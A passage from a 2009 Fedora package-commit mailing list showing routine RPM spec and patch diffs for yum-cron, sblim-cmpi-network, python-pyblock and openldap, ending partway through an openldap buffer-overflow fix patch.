RCS file: /cvs/pkgs/rpms/yum-cron/F-11/sources,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- sources	21 Aug 2009 19:31:47 -0000	1.10
+++ sources	7 Oct 2009 13:29:25 -0000	1.11
@@ -1 +1 @@
-c80fd195f7b1eaaa42198693960a2171  yum-cron-0.8.4.tar.gz
+bad2ff53cb924a964c4909f24e6f34b3  yum-cron-0.9.0.tar.gz


Index: yum-cron.spec
===================================================================
RCS file: /cvs/pkgs/rpms/yum-cron/F-11/yum-cron.spec,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- yum-cron.spec	21 Aug 2009 19:31:47 -0000	1.13
+++ yum-cron.spec	7 Oct 2009 13:29:25 -0000	1.14
@@ -1,7 +1,7 @@
 Summary: Files needed to run yum updates as a cron job
 Name: yum-cron
-Version: 0.8.4
-Release: 2%{?dist}
+Version: 0.9.0
+Release: 1%{?dist}
 URL: http://linux.duke.edu/yum/
 # This is a Red Hat maintained package which is specific to
 # our distribution.  Thus the source is only available from
@@ -10,7 +10,7 @@ Source0: %{name}-%{version}.tar.gz
 License: GPLv2
 Group: System Environment/Base
 BuildArch: noarch
-Requires: yum >= 3.0 vixie-cron crontabs yum-downloadonly mailx policycoreutils
+Requires: yum >= 3.0 vixie-cron crontabs yum-downloadonly mailx policycoreutils findutils
 Requires(post): /sbin/chkconfig
 Requires(post): /sbin/service
 Requires(preun): /sbin/chkconfig
@@ -31,10 +31,10 @@ rather than the newer yum-updatesd daemo
 
 %install
 rm -rf $RPM_BUILD_ROOT
-install -D -m 755 yum.cron.daily $RPM_BUILD_ROOT/%{_sysconfdir}/cron.daily/yum.cron
-install -D -m 755 yum.cron.weekly $RPM_BUILD_ROOT/%{_sysconfdir}/cron.weekly/yum.cron
+install -D -m 755 0yum.cron $RPM_BUILD_ROOT/%{_sysconfdir}/cron.daily/0yum.cron
 install -D -m 755 yum-cron $RPM_BUILD_ROOT/%{_sysconfdir}/rc.d/init.d/yum-cron
 install -D -m 644 yum-daily.yum $RPM_BUILD_ROOT/%{_sysconfdir}/yum/yum-daily.yum
+install -D -m 644 yum-weekly.yum $RPM_BUILD_ROOT/%{_sysconfdir}/yum/yum-weekly.yum
 install -D -m 644 yum-cron.sysconf $RPM_BUILD_ROOT/%{_sysconfdir}/sysconfig/yum-cron
 
 %clean
@@ -84,13 +84,23 @@ exit 0
 %files
 %defattr(-,root,root)
 %doc COPYING README
-%{_sysconfdir}/cron.daily/yum.cron
-%{_sysconfdir}/cron.weekly/yum.cron
+%{_sysconfdir}/cron.daily/0yum.cron
 %config(noreplace) %{_sysconfdir}/yum/yum-daily.yum
+%config(noreplace) %{_sysconfdir}/yum/yum-weekly.yum
 %{_sysconfdir}/rc.d/init.d/yum-cron
 %config(noreplace) %{_sysconfdir}/sysconfig/yum-cron
 
 %changelog
+* Tue Oct 6 2009 Alec Habig <ahabig at umn.edu> - 0.9.0-1
+- Change cron file to 0yum.cron, so yum updates things before the other daily jobs
+  such as makewhatis, prelink, updatedb, etc run.  That way updated files get picked up
+  properly.  Cost - those jobs will run later.  Resolves bug 445894.  Changed default
+  random delay to 60 minutes from 120 to reduce the cost.
+- Eliminate the weekly package cleaning script.  Replace with logic in the daily script 
+  to clean the packages and the metadata once per week (otherwise corrupted metadata messes 
+  things up indefinitely).  Resolves bug 526452.  Removal of seperate weekly script resolves
+  bug 524461. 
+- Use find to clear stale locks at start of run, so add findutils req.
 * Fri Aug 21 2009 Alec Habig <ahabig at umn.edu> - 0.8.4-2
 - pushing to updates-testing to resolve bug 515814, dealing with stale lockfiles
 



From habig at fedoraproject.org  Wed Oct  7 13:30:06 2009
From: habig at fedoraproject.org (Alec Thomas Habig)
Date: Wed,  7 Oct 2009 13:30:06 +0000 (UTC)
Subject: rpms/yum-cron/F-10 .cvsignore, 1.10, 1.11 import.log, 1.2,
	1.3 sources, 1.10, 1.11 yum-cron.spec, 1.12, 1.13
Message-ID: <20091007133006.D77F411C02A3@cvs1.fedora.phx.redhat.com>

Author: habig

Update of /cvs/pkgs/rpms/yum-cron/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22151/F-10

Modified Files:
	.cvsignore import.log sources yum-cron.spec 
Log Message:
- Change cron file to 0yum.cron, so yum updates things before the other
  daily jobs such as makewhatis, prelink, updatedb, etc run.  That way
  updated files get picked up properly.  Cost - those jobs will run
  later.  Resolves bug 445894.  Changed default random delay to 60
  minutes from 120 to reduce the cost.
- Eliminate the weekly package cleaning script.  Replace with logic in
  the daily script to clean the packages and the metadata once per week
  (otherwise corrupted meta data messes things up indefinitely).
  Resolves bug 526452.  Removal of seperate weekly script resolves bug
  524461.
- Use find to clear stale locks at start of run, so add findutils req.




Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/yum-cron/F-10/.cvsignore,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- .cvsignore	21 Aug 2009 19:32:33 -0000	1.10
+++ .cvsignore	7 Oct 2009 13:30:06 -0000	1.11
@@ -1 +1 @@
-yum-cron-0.8.4.tar.gz
+yum-cron-0.9.0.tar.gz


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/yum-cron/F-10/import.log,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- import.log	21 Aug 2009 19:32:33 -0000	1.2
+++ import.log	7 Oct 2009 13:30:06 -0000	1.3
@@ -1,2 +1,3 @@
 yum-cron-0_8_3-1_fc10:F-10:yum-cron-0.8.3-1.fc10.src.rpm:1230596978
 yum-cron-0_8_4-2_fc11:F-10:yum-cron-0.8.4-2.fc11.src.rpm:1250883134
+yum-cron-0_9_0-1_fc11:F-10:yum-cron-0.9.0-1.fc11.src.rpm:1254922191


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/yum-cron/F-10/sources,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- sources	21 Aug 2009 19:32:33 -0000	1.10
+++ sources	7 Oct 2009 13:30:06 -0000	1.11
@@ -1 +1 @@
-c80fd195f7b1eaaa42198693960a2171  yum-cron-0.8.4.tar.gz
+bad2ff53cb924a964c4909f24e6f34b3  yum-cron-0.9.0.tar.gz


Index: yum-cron.spec
===================================================================
RCS file: /cvs/pkgs/rpms/yum-cron/F-10/yum-cron.spec,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- yum-cron.spec	21 Aug 2009 19:32:33 -0000	1.12
+++ yum-cron.spec	7 Oct 2009 13:30:06 -0000	1.13
@@ -1,7 +1,7 @@
 Summary: Files needed to run yum updates as a cron job
 Name: yum-cron
-Version: 0.8.4
-Release: 2%{?dist}
+Version: 0.9.0
+Release: 1%{?dist}
 URL: http://linux.duke.edu/yum/
 # This is a Red Hat maintained package which is specific to
 # our distribution.  Thus the source is only available from
@@ -10,7 +10,7 @@ Source0: %{name}-%{version}.tar.gz
 License: GPLv2
 Group: System Environment/Base
 BuildArch: noarch
-Requires: yum >= 3.0 vixie-cron crontabs yum-downloadonly mailx policycoreutils
+Requires: yum >= 3.0 vixie-cron crontabs yum-downloadonly mailx policycoreutils findutils
 Requires(post): /sbin/chkconfig
 Requires(post): /sbin/service
 Requires(preun): /sbin/chkconfig
@@ -31,10 +31,10 @@ rather than the newer yum-updatesd daemo
 
 %install
 rm -rf $RPM_BUILD_ROOT
-install -D -m 755 yum.cron.daily $RPM_BUILD_ROOT/%{_sysconfdir}/cron.daily/yum.cron
-install -D -m 755 yum.cron.weekly $RPM_BUILD_ROOT/%{_sysconfdir}/cron.weekly/yum.cron
+install -D -m 755 0yum.cron $RPM_BUILD_ROOT/%{_sysconfdir}/cron.daily/0yum.cron
 install -D -m 755 yum-cron $RPM_BUILD_ROOT/%{_sysconfdir}/rc.d/init.d/yum-cron
 install -D -m 644 yum-daily.yum $RPM_BUILD_ROOT/%{_sysconfdir}/yum/yum-daily.yum
+install -D -m 644 yum-weekly.yum $RPM_BUILD_ROOT/%{_sysconfdir}/yum/yum-weekly.yum
 install -D -m 644 yum-cron.sysconf $RPM_BUILD_ROOT/%{_sysconfdir}/sysconfig/yum-cron
 
 %clean
@@ -84,13 +84,23 @@ exit 0
 %files
 %defattr(-,root,root)
 %doc COPYING README
-%{_sysconfdir}/cron.daily/yum.cron
-%{_sysconfdir}/cron.weekly/yum.cron
+%{_sysconfdir}/cron.daily/0yum.cron
 %config(noreplace) %{_sysconfdir}/yum/yum-daily.yum
+%config(noreplace) %{_sysconfdir}/yum/yum-weekly.yum
 %{_sysconfdir}/rc.d/init.d/yum-cron
 %config(noreplace) %{_sysconfdir}/sysconfig/yum-cron
 
 %changelog
+* Tue Oct 6 2009 Alec Habig <ahabig at umn.edu> - 0.9.0-1
+- Change cron file to 0yum.cron, so yum updates things before the other daily jobs
+  such as makewhatis, prelink, updatedb, etc run.  That way updated files get picked up
+  properly.  Cost - those jobs will run later.  Resolves bug 445894.  Changed default
+  random delay to 60 minutes from 120 to reduce the cost.
+- Eliminate the weekly package cleaning script.  Replace with logic in the daily script 
+  to clean the packages and the metadata once per week (otherwise corrupted metadata messes 
+  things up indefinitely).  Resolves bug 526452.  Removal of seperate weekly script resolves
+  bug 524461. 
+- Use find to clear stale locks at start of run, so add findutils req.
 * Fri Aug 21 2009 Alec Habig <ahabig at umn.edu> - 0.8.4-2
 - pushing to updates-testing to resolve bug 515814, dealing with stale lockfiles
 



From habig at fedoraproject.org  Wed Oct  7 13:30:53 2009
From: habig at fedoraproject.org (Alec Thomas Habig)
Date: Wed,  7 Oct 2009 13:30:53 +0000 (UTC)
Subject: rpms/yum-cron/F-9 .cvsignore, 1.10, 1.11 import.log, 1.2,
	1.3 sources, 1.10, 1.11 yum-cron.spec, 1.12, 1.13
Message-ID: <20091007133053.DAE4211C00E6@cvs1.fedora.phx.redhat.com>

Author: habig

Update of /cvs/pkgs/rpms/yum-cron/F-9
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22384/F-9

Modified Files:
	.cvsignore import.log sources yum-cron.spec 
Log Message:
- Change cron file to 0yum.cron, so yum updates things before the other
  daily jobs such as makewhatis, prelink, updatedb, etc run.  That way
  updated files get picked up properly.  Cost - those jobs will run
  later.  Resolves bug 445894.  Changed default random delay to 60
  minutes from 120 to reduce the cost.
- Eliminate the weekly package cleaning script.  Replace with logic in
  the daily script to clean the packages and the metadata once per week
  (otherwise corrupted meta data messes things up indefinitely).
  Resolves bug 526452.  Removal of seperate weekly script resolves bug
  524461.
- Use find to clear stale locks at start of run, so add findutils req.




Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/yum-cron/F-9/.cvsignore,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- .cvsignore	21 Aug 2009 19:33:29 -0000	1.10
+++ .cvsignore	7 Oct 2009 13:30:53 -0000	1.11
@@ -1 +1 @@
-yum-cron-0.8.4.tar.gz
+yum-cron-0.9.0.tar.gz


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/yum-cron/F-9/import.log,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- import.log	21 Aug 2009 19:33:29 -0000	1.2
+++ import.log	7 Oct 2009 13:30:53 -0000	1.3
@@ -1,2 +1,3 @@
 yum-cron-0_8_3-1_fc10:F-9:yum-cron-0.8.3-1.fc10.src.rpm:1230597072
 yum-cron-0_8_4-2_fc11:F-9:yum-cron-0.8.4-2.fc11.src.rpm:1250883190
+yum-cron-0_9_0-1_fc11:F-9:yum-cron-0.9.0-1.fc11.src.rpm:1254922237


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/yum-cron/F-9/sources,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- sources	21 Aug 2009 19:33:29 -0000	1.10
+++ sources	7 Oct 2009 13:30:53 -0000	1.11
@@ -1 +1 @@
-c80fd195f7b1eaaa42198693960a2171  yum-cron-0.8.4.tar.gz
+bad2ff53cb924a964c4909f24e6f34b3  yum-cron-0.9.0.tar.gz


Index: yum-cron.spec
===================================================================
RCS file: /cvs/pkgs/rpms/yum-cron/F-9/yum-cron.spec,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- yum-cron.spec	21 Aug 2009 19:33:29 -0000	1.12
+++ yum-cron.spec	7 Oct 2009 13:30:53 -0000	1.13
@@ -1,7 +1,7 @@
 Summary: Files needed to run yum updates as a cron job
 Name: yum-cron
-Version: 0.8.4
-Release: 2%{?dist}
+Version: 0.9.0
+Release: 1%{?dist}
 URL: http://linux.duke.edu/yum/
 # This is a Red Hat maintained package which is specific to
 # our distribution.  Thus the source is only available from
@@ -10,7 +10,7 @@ Source0: %{name}-%{version}.tar.gz
 License: GPLv2
 Group: System Environment/Base
 BuildArch: noarch
-Requires: yum >= 3.0 vixie-cron crontabs yum-downloadonly mailx policycoreutils
+Requires: yum >= 3.0 vixie-cron crontabs yum-downloadonly mailx policycoreutils findutils
 Requires(post): /sbin/chkconfig
 Requires(post): /sbin/service
 Requires(preun): /sbin/chkconfig
@@ -31,10 +31,10 @@ rather than the newer yum-updatesd daemo
 
 %install
 rm -rf $RPM_BUILD_ROOT
-install -D -m 755 yum.cron.daily $RPM_BUILD_ROOT/%{_sysconfdir}/cron.daily/yum.cron
-install -D -m 755 yum.cron.weekly $RPM_BUILD_ROOT/%{_sysconfdir}/cron.weekly/yum.cron
+install -D -m 755 0yum.cron $RPM_BUILD_ROOT/%{_sysconfdir}/cron.daily/0yum.cron
 install -D -m 755 yum-cron $RPM_BUILD_ROOT/%{_sysconfdir}/rc.d/init.d/yum-cron
 install -D -m 644 yum-daily.yum $RPM_BUILD_ROOT/%{_sysconfdir}/yum/yum-daily.yum
+install -D -m 644 yum-weekly.yum $RPM_BUILD_ROOT/%{_sysconfdir}/yum/yum-weekly.yum
 install -D -m 644 yum-cron.sysconf $RPM_BUILD_ROOT/%{_sysconfdir}/sysconfig/yum-cron
 
 %clean
@@ -84,13 +84,23 @@ exit 0
 %files
 %defattr(-,root,root)
 %doc COPYING README
-%{_sysconfdir}/cron.daily/yum.cron
-%{_sysconfdir}/cron.weekly/yum.cron
+%{_sysconfdir}/cron.daily/0yum.cron
 %config(noreplace) %{_sysconfdir}/yum/yum-daily.yum
+%config(noreplace) %{_sysconfdir}/yum/yum-weekly.yum
 %{_sysconfdir}/rc.d/init.d/yum-cron
 %config(noreplace) %{_sysconfdir}/sysconfig/yum-cron
 
 %changelog
+* Tue Oct 6 2009 Alec Habig <ahabig at umn.edu> - 0.9.0-1
+- Change cron file to 0yum.cron, so yum updates things before the other daily jobs
+  such as makewhatis, prelink, updatedb, etc run.  That way updated files get picked up
+  properly.  Cost - those jobs will run later.  Resolves bug 445894.  Changed default
+  random delay to 60 minutes from 120 to reduce the cost.
+- Eliminate the weekly package cleaning script.  Replace with logic in the daily script 
+  to clean the packages and the metadata once per week (otherwise corrupted metadata messes 
+  things up indefinitely).  Resolves bug 526452.  Removal of seperate weekly script resolves
+  bug 524461. 
+- Use find to clear stale locks at start of run, so add findutils req.
 * Fri Aug 21 2009 Alec Habig <ahabig at umn.edu> - 0.8.4-2
 - pushing to updates-testing to resolve bug 515814, dealing with stale lockfiles
 



From vcrhonek at fedoraproject.org  Wed Oct  7 13:31:16 2009
From: vcrhonek at fedoraproject.org (vcrhonek)
Date: Wed,  7 Oct 2009 13:31:16 +0000 (UTC)
Subject: rpms/sblim-cmpi-network/F-10 sblim-cmpi-network.spec, NONE,
	1.1 sources, 1.1, 1.2
Message-ID: <20091007133116.DEA5D11C00E6@cvs1.fedora.phx.redhat.com>

Author: vcrhonek

Update of /cvs/extras/rpms/sblim-cmpi-network/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22546

Modified Files:
	sources 
Added Files:
	sblim-cmpi-network.spec 
Log Message:
Initial commit


--- NEW FILE sblim-cmpi-network.spec ---
%define provider_dir %{_libdir}/cmpi
%define tog_pegasus_version 2:2.5.1

Name:           sblim-cmpi-network
Version:        1.3.8
Release:        2%{?dist}
Summary:        SBLIM Network Instrumentation

Group:          Applications/System
License:        CPL
URL:            http://sblim.wiki.sourceforge.net/
Source0:        http://downloads.sourceforge.net/sblim/%{name}-%{version}.tar.bz2
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:  tog-pegasus-devel >= %{tog_pegasus_version}
BuildRequires:  sblim-cmpi-base-devel >= 1.5
Requires:       tog-pegasus >= %{tog_pegasus_version}
Requires:       sblim-cmpi-base >= 1.5

%description
Standards Based Linux Instrumentation Network Providers

%package        devel
Summary:        SBLIM Network Instrumentation Header Development Files
Group:          Development/Libraries
Requires:       %{name} = %{version}-%{release}

%description    devel
SBLIM Base Network Development Package

%package        test
Summary:        SBLIM Network Instrumentation Testcases
Group:          Applications/System
Requires:       sblim-cmpi-network = %{version}-%{release}
Requires:       %{name}

%description    test
SBLIM Base Network Testcase Files for SBLIM Testsuite

%prep
%setup -q

%build
%ifarch s390 s390x ppc ppc64
export CFLAGS="$RPM_OPT_FLAGS -fsigned-char"
%else
export CFLAGS="$RPM_OPT_FLAGS"
%endif
%configure \
        TESTSUITEDIR=%{_datadir}/sblim-testsuite \
        CIMSERVER=pegasus \
        PROVIDERDIR=%{provider_dir}
sed -i 's|^hardcode_libdir_flag_spec=.*|hardcode_libdir_flag_spec=""|g' libtool
sed -i 's|^runpath_var=LD_RUN_PATH|runpath_var=DIE_RPATH_DIE|g' libtool
make

%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT
# remove unused libtool files
rm -f $RPM_BUILD_ROOT/%{_libdir}/*a
rm -f $RPM_BUILD_ROOT/%{provider_dir}/*a
# shared libraries
mkdir -p $RPM_BUILD_ROOT/%{_sysconfdir}/ld.so.conf.d
echo "%{_libdir}/cmpi" > $RPM_BUILD_ROOT/%{_sysconfdir}/ld.so.conf.d/%{name}-%{_arch}.conf

%clean
rm -rf $RPM_BUILD_ROOT

%files
%defattr(-,root,root,-)
%docdir %{_datadir}/doc/%{name}-%{version}
%{_datadir}/%{name}
%{_datadir}/doc/%{name}-%{version}
%{_libdir}/*.so.*
%{provider_dir}/*.so
%config(noreplace) %{_sysconfdir}/ld.so.conf.d/%{name}-%{_arch}.conf

%files devel
%defattr(-,root,root,-)
%{_includedir}/*
%{_libdir}/*.so
%{_datadir}/doc/%{name}-%{version}

%files test
%defattr(-,root,root,-)
%{_datadir}/sblim-testsuite
%{_datadir}/doc/%{name}-%{version}

%pre
if [ "$1" -gt 1 ]; then
# If upgrading, deregister old version
    %{_datadir}/%{name}/provider-register.sh \
        -d -t pegasus \
        -m %{_datadir}/%{name}/Linux_Network.mof \
        -r %{_datadir}/%{name}/Linux_Network.registration \
        > /dev/null 2>&1 || :;
fi

%post
/sbin/ldconfig
if [ "$1" -ge 1 ]; then
# Register Schema and Provider
    %{_datadir}/%{name}/provider-register.sh \
        -t pegasus \
        -m %{_datadir}/%{name}/Linux_Network.mof \
        -r %{_datadir}/%{name}/Linux_Network.registration \
        > /dev/null 2>&1 || :;
fi

%preun
if [ "$1" -eq 0 ]; then
# Deregister only if not upgrading
    %{_datadir}/%{name}/provider-register.sh \
        -d -t pegasus \
        -m %{_datadir}/%{name}/Linux_Network.mof \
        -r %{_datadir}/%{name}/Linux_Network.registration \
        > /dev/null 2>&1 || :;
fi

%postun -p /sbin/ldconfig

%changelog
* Thu Aug 13 2009 Srinivas Ramanatha <srinivas_ramanatha at dell.com> - 1.3.8-2
- modified the spec file to fix some rpmlint warnings

* Tue May 26 2009 Vitezslav Crhonek <vcrhonek at redhat.com> - 1.3.8-1
- Initial support


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/sblim-cmpi-network/F-10/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	19 Aug 2009 21:40:40 -0000	1.1
+++ sources	7 Oct 2009 13:31:16 -0000	1.2
@@ -0,0 +1 @@
+698040584ea345d12c838e0ab6c42b9f  sblim-cmpi-network-1.3.8.tar.bz2



From jwrdegoede at fedoraproject.org  Wed Oct  7 13:35:27 2009
From: jwrdegoede at fedoraproject.org (Hans de Goede)
Date: Wed,  7 Oct 2009 13:35:27 +0000 (UTC)
Subject: rpms/python-pyblock/devel .cvsignore, 1.42, 1.43 python-pyblock.spec,
	1.70, 1.71 sources, 1.45, 1.46
Message-ID: <20091007133528.21CCE11C00E6@cvs1.fedora.phx.redhat.com>

Author: jwrdegoede

Update of /cvs/extras/rpms/python-pyblock/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23938

Modified Files:
	.cvsignore python-pyblock.spec sources 
Log Message:
* Wed Oct  7 2009 Hans de Goede <hdegoede at redhat.com> - 0.44-1
- Use dmraid's status instead of figuring out if a set is degraded ourselves
  (#524168)
- Fix typo causing backtrace when doing activate deactivate 2x for dmraid 10



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/python-pyblock/devel/.cvsignore,v
retrieving revision 1.42
retrieving revision 1.43
diff -u -p -r1.42 -r1.43
--- .cvsignore	4 Sep 2009 07:41:09 -0000	1.42
+++ .cvsignore	7 Oct 2009 13:35:26 -0000	1.43
@@ -1 +1 @@
-pyblock-0.43.tar.bz2
+pyblock-0.44.tar.bz2


Index: python-pyblock.spec
===================================================================
RCS file: /cvs/extras/rpms/python-pyblock/devel/python-pyblock.spec,v
retrieving revision 1.70
retrieving revision 1.71
diff -u -p -r1.70 -r1.71
--- python-pyblock.spec	18 Sep 2009 15:32:51 -0000	1.70
+++ python-pyblock.spec	7 Oct 2009 13:35:26 -0000	1.71
@@ -5,8 +5,8 @@
 
 Summary: Python modules for dealing with block devices
 Name: python-%{realname}
-Version: 0.43
-Release: 2%{?dist}
+Version: 0.44
+Release: 1%{?dist}
 Source0: %{realname}-%{version}.tar.bz2
 License: GPLv2 or GPLv3
 Group: System Environment/Libraries
@@ -15,8 +15,6 @@ BuildRequires: python-devel, gettext
 BuildRequires: device-mapper-libs >= %{dmver}, device-mapper-devel >= %{dmver}
 BuildRequires: dmraid-devel >= %{dmrver}, libselinux-devel, libsepol-devel
 BuildRequires: zlib-devel, libbdevid >= 5.1.0
-# Hack for 524261
-BuildRequires: dmraid
 Requires: python, device-mapper-libs >= %{dmver}, libselinux
 Requires: libbdevid, libbdevid-python
 Requires: pyparted
@@ -45,6 +43,11 @@ rm -rf $RPM_BUILD_ROOT
 %{_docdir}/pyblock-%{version}/*
 
 %changelog
+* Wed Oct  7 2009 Hans de Goede <hdegoede at redhat.com> - 0.44-1
+- Use dmraid's status instead of figuring out if a set is degraded ourselves
+  (#524168)
+- Fix typo causing backtrace when doing activate deactivate 2x for dmraid 10
+
 * Fri Sep 18 2009 Hans de Goede <hdegoede at redhat.com> - 0.43-2
 - Rebuild for new dmraid
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/python-pyblock/devel/sources,v
retrieving revision 1.45
retrieving revision 1.46
diff -u -p -r1.45 -r1.46
--- sources	4 Sep 2009 07:41:09 -0000	1.45
+++ sources	7 Oct 2009 13:35:26 -0000	1.46
@@ -1 +1 @@
-a1f458ab7cf45aa9a3ff6850c43bd32d  pyblock-0.43.tar.bz2
+2a0f8fa526a013cd5be5a33427d104cd  pyblock-0.44.tar.bz2



From jwrdegoede at fedoraproject.org  Wed Oct  7 13:40:33 2009
From: jwrdegoede at fedoraproject.org (Hans de Goede)
Date: Wed,  7 Oct 2009 13:40:33 +0000 (UTC)
Subject: rpms/python-pyblock/F-12 .cvsignore, 1.42, 1.43 python-pyblock.spec,
	1.70, 1.71 sources, 1.45, 1.46
Message-ID: <20091007134033.E1A5211C02A3@cvs1.fedora.phx.redhat.com>

Author: jwrdegoede

Update of /cvs/extras/rpms/python-pyblock/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24766

Modified Files:
	.cvsignore python-pyblock.spec sources 
Log Message:
* Wed Oct  7 2009 Hans de Goede <hdegoede at redhat.com> - 0.44-1
- Use dmraid's status instead of figuring out if a set is degraded ourselves
  (#524168)
- Fix typo causing backtrace when doing activate deactivate 2x for dmraid 10



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/python-pyblock/F-12/.cvsignore,v
retrieving revision 1.42
retrieving revision 1.43
diff -u -p -r1.42 -r1.43
--- .cvsignore	4 Sep 2009 07:41:09 -0000	1.42
+++ .cvsignore	7 Oct 2009 13:40:33 -0000	1.43
@@ -1 +1 @@
-pyblock-0.43.tar.bz2
+pyblock-0.44.tar.bz2


Index: python-pyblock.spec
===================================================================
RCS file: /cvs/extras/rpms/python-pyblock/F-12/python-pyblock.spec,v
retrieving revision 1.70
retrieving revision 1.71
diff -u -p -r1.70 -r1.71
--- python-pyblock.spec	18 Sep 2009 15:32:51 -0000	1.70
+++ python-pyblock.spec	7 Oct 2009 13:40:33 -0000	1.71
@@ -5,8 +5,8 @@
 
 Summary: Python modules for dealing with block devices
 Name: python-%{realname}
-Version: 0.43
-Release: 2%{?dist}
+Version: 0.44
+Release: 1%{?dist}
 Source0: %{realname}-%{version}.tar.bz2
 License: GPLv2 or GPLv3
 Group: System Environment/Libraries
@@ -15,8 +15,6 @@ BuildRequires: python-devel, gettext
 BuildRequires: device-mapper-libs >= %{dmver}, device-mapper-devel >= %{dmver}
 BuildRequires: dmraid-devel >= %{dmrver}, libselinux-devel, libsepol-devel
 BuildRequires: zlib-devel, libbdevid >= 5.1.0
-# Hack for 524261
-BuildRequires: dmraid
 Requires: python, device-mapper-libs >= %{dmver}, libselinux
 Requires: libbdevid, libbdevid-python
 Requires: pyparted
@@ -45,6 +43,11 @@ rm -rf $RPM_BUILD_ROOT
 %{_docdir}/pyblock-%{version}/*
 
 %changelog
+* Wed Oct  7 2009 Hans de Goede <hdegoede at redhat.com> - 0.44-1
+- Use dmraid's status instead of figuring out if a set is degraded ourselves
+  (#524168)
+- Fix typo causing backtrace when doing activate deactivate 2x for dmraid 10
+
 * Fri Sep 18 2009 Hans de Goede <hdegoede at redhat.com> - 0.43-2
 - Rebuild for new dmraid
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/python-pyblock/F-12/sources,v
retrieving revision 1.45
retrieving revision 1.46
diff -u -p -r1.45 -r1.46
--- sources	4 Sep 2009 07:41:09 -0000	1.45
+++ sources	7 Oct 2009 13:40:33 -0000	1.46
@@ -1 +1 @@
-a1f458ab7cf45aa9a3ff6850c43bd32d  pyblock-0.43.tar.bz2
+2a0f8fa526a013cd5be5a33427d104cd  pyblock-0.44.tar.bz2



From jzeleny at fedoraproject.org  Wed Oct  7 13:43:58 2009
From: jzeleny at fedoraproject.org (Jan Zeleny)
Date: Wed,  7 Oct 2009 13:43:58 +0000 (UTC)
Subject: rpms/openldap/devel openldap-2.3.37-smbk5pwd.patch, 1.4,
	1.5 openldap-2.4.18-ldif-buf-overflow.patch, 1.2,
	1.3 openldap.spec, 1.151, 1.152
Message-ID: <20091007134358.910A911C00E6@cvs1.fedora.phx.redhat.com>

Author: jzeleny

Update of /cvs/extras/rpms/openldap/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25380

Modified Files:
	openldap-2.3.37-smbk5pwd.patch 
	openldap-2.4.18-ldif-buf-overflow.patch openldap.spec 
Log Message:
- updated smbk5pwd patch to be linked with libldap (#526500)
- the last buffer overflow patch replaced with the one from upstream
- added /etc/openldap/slapd.d and /etc/openldap/slapd.conf.bak
  to files owned by openldap-servers


openldap-2.3.37-smbk5pwd.patch:
 contrib/slapd-modules/smbk5pwd/README |    5 +++++
 servers/slapd/overlays/Makefile.in    |   10 +++++++---
 2 files changed, 12 insertions(+), 3 deletions(-)

Index: openldap-2.3.37-smbk5pwd.patch
===================================================================
RCS file: /cvs/extras/rpms/openldap/devel/openldap-2.3.37-smbk5pwd.patch,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- openldap-2.3.37-smbk5pwd.patch	18 Sep 2009 10:01:45 -0000	1.4
+++ openldap-2.3.37-smbk5pwd.patch	7 Oct 2009 13:43:58 -0000	1.5
@@ -47,7 +47,7 @@ diff -up openldap-2.4.11/servers/slapd/o
  	$(LTLINK_MOD) -module -o $@ valsort.lo version.lo $(LINK_LIBS)
  
 +smbk5pwd.la : smbk5pwd.lo
-+	$(LTLINK_MOD) -module -o $@ smbk5pwd.lo version.lo $(LINK_LIBS)
++	$(LTLINK_MOD) -module -o $@ smbk5pwd.lo version.lo -lldap -L../../../libraries/libldap/.libs/ $(LINK_LIBS)
 +
  install-local:	$(PROGRAMS)
  	@if test -n "$?" ; then \

openldap-2.4.18-ldif-buf-overflow.patch:
 ldif.c |    6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

Index: openldap-2.4.18-ldif-buf-overflow.patch
===================================================================
RCS file: /cvs/extras/rpms/openldap/devel/openldap-2.4.18-ldif-buf-overflow.patch,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- openldap-2.4.18-ldif-buf-overflow.patch	24 Sep 2009 13:23:53 -0000	1.2
+++ openldap-2.4.18-ldif-buf-overflow.patch	7 Oct 2009 13:43:58 -0000	1.3
@@ -1,54 +1,17 @@
---- openldap-2.4.18/servers/slapd/back-ldif/ldif.c.orig	2009-09-24 09:46:01.000000000 +0200
-+++ openldap-2.4.18/servers/slapd/back-ldif/ldif.c	2009-09-24 13:40:07.000000000 +0200
-@@ -593,9 +593,7 @@ typedef struct bvlist {
+Avoid the struct hack, just malloc two data structures in one chunk:
+
